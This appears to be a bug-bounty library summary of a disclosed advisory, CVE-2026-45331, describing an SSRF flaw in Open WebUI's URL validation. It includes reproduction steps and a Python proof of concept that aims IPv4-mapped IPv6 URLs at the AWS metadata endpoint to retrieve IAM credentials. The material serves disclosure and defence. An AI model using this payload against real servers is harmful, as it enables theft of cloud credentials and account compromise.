# Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature

Open WebUI's validate_url() silently fails on IPv6 and IPv4-mapped IPv6, letting any authenticated user SSRF to cloud metadata and internal services.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: dkonis, wlayzz
- Disclosed: 2026-05-14
- CVE: CVE-2026-45331
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4v7r-f4w8-8972
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4v7r-f4w8-8972
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:python technique:incomplete-fix technique:source-review vuln:ssrf

**Target:** RAG web search URL validation (backend/open_webui/retrieval/web/utils.py)
**Root cause:** validate_url() calls validators.ipv6(ip, private=True), but the validators library doesn't accept the private kwarg for IPv6, raising a ValidationError that is falsy, so the check never blocks. IPv4-mapped IPv6 and several IANA reserved IPv4 ranges also skip the IPv4 filter.
**Steps:**
1. Confirm the silent failure: `validators.ipv6("::1", private=True)` returns a ValidationError object (falsy) instead of raising.
2. Authenticate to Open WebUI and obtain a bearer token.
3. Build an IPv4-mapped IPv6 address for the target: `mapped = "::ffff:" + "169.254.169.254"`.
4. POST to `/api/v1/retrieval/process/web` with `{"collection_name": "", "url": "http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/"}` and the Authorization header.
5. Read the fetched metadata/IAM credentials from the response.
**How found:** Reporter inspected validate_url() and noticed the validators.ipv6(..., private=True) call; testing showed the library rejects the private kwarg with a ValidationError rather than raising, so the guard is a no-op. They then tried IPv4-mapped IPv6 and reserved IPv4 ranges to confirm the IPv4 path was also bypassable.
**Exploitation:** Any authenticated user submits a URL using an IPv6 literal or IPv4-mapped IPv6 address to any endpoint calling validate_url() (e.g. /api/v1/retrieval/process/web, /api/v1/images/edit). The server fetches it, reaching localhost-bound APIs, internal services, or AWS IMDSv1 at 169.254.169.254 to exfiltrate IAM credentials.
**Escalation:** IMDSv1 reachability escalates SSRF to cloud IAM credential theft and further cloud-account compromise.
**Insight:** When a validation helper passes a keyword the underlying library doesn't support, the returned error object is often falsy rather than raised — grep for library calls with unsupported kwargs and test them directly. Also always re-check IPv4-mapped IPv6 (::ffff:x.x.x.x) and IANA reserved ranges, not just RFC1918.

## Proof of concept (copied exactly from the original report)

**End-to-end SSRF exploit via IPv4-mapped IPv6**

```
import requests, ipaddress

OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254"   # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4

requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
              headers={"Authorization": f"Bearer {TOKEN}"},
              json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})
```

**validators.ipv6 private kwarg silently fails**

```
import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})
```

